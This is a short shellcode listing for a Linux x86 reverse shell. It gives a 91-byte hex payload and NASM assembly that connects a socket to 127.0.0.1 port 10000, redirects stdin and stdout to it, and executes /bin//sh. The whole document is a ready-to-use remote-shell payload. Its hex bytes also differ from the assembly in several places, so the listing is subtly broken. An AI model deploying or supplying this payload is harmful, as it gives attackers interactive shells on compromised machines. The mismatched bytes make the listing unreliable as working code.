Shellcode linux/x86 reverse shell
;Author : Gaussillusion
;Len : 91 byte
;\x31\xc0\x31\xdb\x31\xd2\x50\xb0\x66\x43\x52
;\x6a\x01\x6a\x02\x80\xe1\xcd\x80\x66\xbe\x02
;\x00\x89\xc7\xb0\x66\xb3\x03\x68\x7f\x00\x00
;\x01\x66\x68\x27\x10\x66\x56\x89\xe2\x6a\x10
;\x52\x57\x89\xe1\xcd\x89\x31\xc9\x89\xfb\xb0
;\x3f\xb1\x00\xcd\x80\xb0\x3f\xb1\x01\xcd\x80
;\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62
;\x69\x6e\xb0\x0b\x89\xe3\x51\x89\xe2\x53\x89
;\xe1\xcd\x80
BITS 32
xor eax,eax
xor ebx,ebx
xor edx,edx
push eax
mov al,102
inc ebx ;socket
push edx
push BYTE 0x1
push BYTE 0x2
mov ecx,esp
int 0x80
mov si,0x2
mov edi,eax
mov al,102 ;connect
mov bl,3
push DWORD 0x0100007f ;127.0.0.1
push WORD 0x1027
push WORD si
mov edx,esp
push BYTE 16
push edx
push edi
mov ecx,esp
int 0x80
xor ecx,ecx
mov ebx,edi
mov al,63
mov cl,0
int 0x80
mov al,63
mov cl,1
int 0x80
xor ecx,ecx
push ecx
push 0x68732f2f
push 0x6e69622f
mov al,11
mov ebx,esp
push ecx
mov edx,esp
push ebx
mov ecx,esp
int 0x80
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